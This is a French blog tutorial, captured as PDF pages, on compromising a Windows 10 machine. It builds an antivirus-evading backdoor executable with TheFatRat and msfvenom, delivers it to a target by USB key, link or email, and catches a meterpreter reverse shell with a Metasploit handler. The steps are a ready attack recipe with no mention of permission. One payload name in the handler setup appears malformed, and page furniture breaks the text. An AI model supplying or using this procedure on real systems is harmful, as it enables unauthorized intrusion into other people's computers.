Vous êtes sur la page 1sur 12

22/07/2022 03:03 Comment hacker une machine Windows10 avec l'outil TheFatRat - HackinGeeK

HackinGeeK

Comment hacker une machine


Windows10 avec l’outil
TheFatRat

Hacking kali linux Pentesting


Erdanay - 8 h 01 min

Hey ! what’s up guys ? All is right ?

Un comeback sur de la pratique ! je vais vous montrer comment créer un fichier


malveillant permettant d’obtenir un accès sur une machine Windows 10 en utilisant un
outil fort sympathique et le Framework Metasploit !

© 2022 HackinGeeK. Created for free using WordPress and


Colibri

H ki G K
https://hackingeek.com/comment-hacker-une-machine-windows10-avec-loutil-thefatrat/ 1/12
22/07/2022 03:03 Comment hacker une machine Windows10 avec l'outil TheFatRat - HackinGeeK

HackinGeeK
Introduction
TheFatRat est un outil simple pour générer une porte dérobée (backdoor) avec
msfvenom (qui fait partie du Framework Metasploit). Le programme compile en C avec
un payload meterpreter reverse_tcp qui peut ensuite être exécuté par un .exe sur un
hôte Windows qui sera contourné par la plupart des anti-virus. J’ai aussi la possibilité de
choisir d’autres programmes en fonction de mon hôte (Linux, Mac, Android…).

Installation
Tout d’abord, pour installer TheFatRat je tape la commande suivante sur le terminal :

git clone https://github.com/Screetsec/TheFatRat.git

Une fois le clonage terminé, je me déplace vers le répertoire en question puis je donne
les droits d’exécution au fichier setup.sh :

cd TheFatRat

chmod +x setup.sh && ./setup.sh

© 2022 HackinGeeK. Created for free using WordPress and


Colibri

H ki G K
https://hackingeek.com/comment-hacker-une-machine-windows10-avec-loutil-thefatrat/ 2/12
22/07/2022 03:03 Comment hacker une machine Windows10 avec l'outil TheFatRat - HackinGeeK

HackinGeeK

Pour ceux qui ont des erreurs durant cette phase, pas de panique ! il vous suffit d’utiliser
la commande suivante afin d’y remédier :

sudo apt install mingw-w64

Après la configuration terminée je tape la commande ./fatrat et j’obtiens ce qui suit :

© 2022 HackinGeeK. Created for free using WordPress and


Colibri

H ki G K
https://hackingeek.com/comment-hacker-une-machine-windows10-avec-loutil-thefatrat/ 3/12
22/07/2022 03:03 Comment hacker une machine Windows10 avec l'outil TheFatRat - HackinGeeK

HackinGeeK

Cool !! tout est bien installé.

Configuration
Bon, il me propose plusieurs options selon mes besoins. Pour commencer je sélectionne
l’option 1 qui consiste à créer une porte dérobée avec msfvenom :

© 2022 HackinGeeK. Created for free using WordPress and


Colibri

H ki G K
https://hackingeek.com/comment-hacker-une-machine-windows10-avec-loutil-thefatrat/ 4/12
22/07/2022 03:03 Comment hacker une machine Windows10 avec l'outil TheFatRat - HackinGeeK

HackinGeeK

Maintenant il me demande de choisir le format de mon backdoor selon mes exigences.


Vu que je veux exploiter une machine Windows 10, je vais créer un exécutable Windows
en sélectionnant l’option 2 :

© 2022 HackinGeeK. Created for free using WordPress and


Colibri

H ki G K
https://hackingeek.com/comment-hacker-une-machine-windows10-avec-loutil-thefatrat/ 5/12
22/07/2022 03:03 Comment hacker une machine Windows10 avec l'outil TheFatRat - HackinGeeK

HackinGeeK

Mon choix étant fait, il va vouloir quelques renseignements supplémentaires pour


préparer mon fichier :

L’ adresse IP LHOST ( de ma machine hôte)


LPORT (le port d’écoute sur lequel je souhaite établir une connexion inversée)
Le payload

© 2022 HackinGeeK. Created for free using WordPress and


Colibri

H ki G K
https://hackingeek.com/comment-hacker-une-machine-windows10-avec-loutil-thefatrat/ 6/12
22/07/2022 03:03 Comment hacker une machine Windows10 avec l'outil TheFatRat - HackinGeeK

HackinGeeK

Une fois tous ces éléments fournis, je peux voir ce qui suit :

© 2022 HackinGeeK. Created for free using WordPress and


Colibri

H ki G K
https://hackingeek.com/comment-hacker-une-machine-windows10-avec-loutil-thefatrat/ 7/12
22/07/2022 03:03 Comment hacker une machine Windows10 avec l'outil TheFatRat - HackinGeeK

HackinGeeK

Puis je quitte le script en tapant la touche Entrée, il m’indique le chemin qui contient mon
fichier.

Je vais vérifier si mon backdoor est bien présent sur ma machine local :

© 2022 HackinGeeK. Created for free using WordPress and


Colibri

H ki G K
https://hackingeek.com/comment-hacker-une-machine-windows10-avec-loutil-thefatrat/ 8/12
22/07/2022 03:03 Comment hacker une machine Windows10 avec l'outil TheFatRat - HackinGeeK

HackinGeeK

Je copie ce fichier sur mon répertoire /home :

cp FatRat.exe /home

© 2022 HackinGeeK. Created for free using WordPress and


Colibri
Voilà, c’est prêt !

H ki G K
https://hackingeek.com/comment-hacker-une-machine-windows10-avec-loutil-thefatrat/ 9/12
22/07/2022 03:03 Comment hacker une machine Windows10 avec l'outil TheFatRat - HackinGeeK

HackinGeeK
Ce n’est pas terminé, il faut que j’emploie n’importe quelle manière pour introduire mon
fichier FatRat.exe sur la machine cible ( exemple : clé USB, lien, mail…).

Exploitation
Après avoir réussi à placer mon backdoor, depuis ma machine hôte (Parrot OS) je lance
Metasploit puis paramétre l’exploit que je vais utiliser : toujours depuis un terminal Linux

msfconsole -q

use exploit/multi/handler

set payload windows/meterpreter/shell_reverse_tcp

set lhost 192.168.1.164

set lport 443

exploit

Super !!! j’ai obtenu mon shell meterpreter, un petit sysinfo pour vérifier que c’est bien
opérationnel©et2022le tour est joué. Created for free using WordPress and
Colibri
HackinGeeK.

H ki G K
https://hackingeek.com/comment-hacker-une-machine-windows10-avec-loutil-thefatrat/ 10/12
22/07/2022 03:03 Comment hacker une machine Windows10 avec l'outil TheFatRat - HackinGeeK

HackinGeeK
Conclusion
C’est la fin de cet article les amis, encore une fois un plaisir de vous partager un
maximum de connaissances et de pratiques. J’espère que cette petite démo vous a plu,
n’hésitez pas à tester depuis chez vous.

N’oubliez pas : c’est en pratiquant que vous progresserez !

Je reste à votre écoute si vous rencontrez un problème, à très vite pour un prochain
article.

Peace   !!  

fatrat hacking remote server

PREVIOUS POST NEXT POST

No responses yet

Laisser un commentaire
Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Commentaire *

Nom *

E-mail *
© 2022 HackinGeeK. Created for free using WordPress and
Colibri
Site web
H ki G K
https://hackingeek.com/comment-hacker-une-machine-windows10-avec-loutil-thefatrat/ 11/12
22/07/2022 03:03 Comment hacker une machine Windows10 avec l'outil TheFatRat - HackinGeeK

HackinGeeK
Saisissez votre réponse en chiffres

7 + cinq =

LAISSER UN COMMENTAIRE

© 2022 HackinGeeK. Created for free using WordPress and


Colibri

https://hackingeek.com/comment-hacker-une-machine-windows10-avec-loutil-thefatrat/ 12/12

Vous aimerez peut-être aussi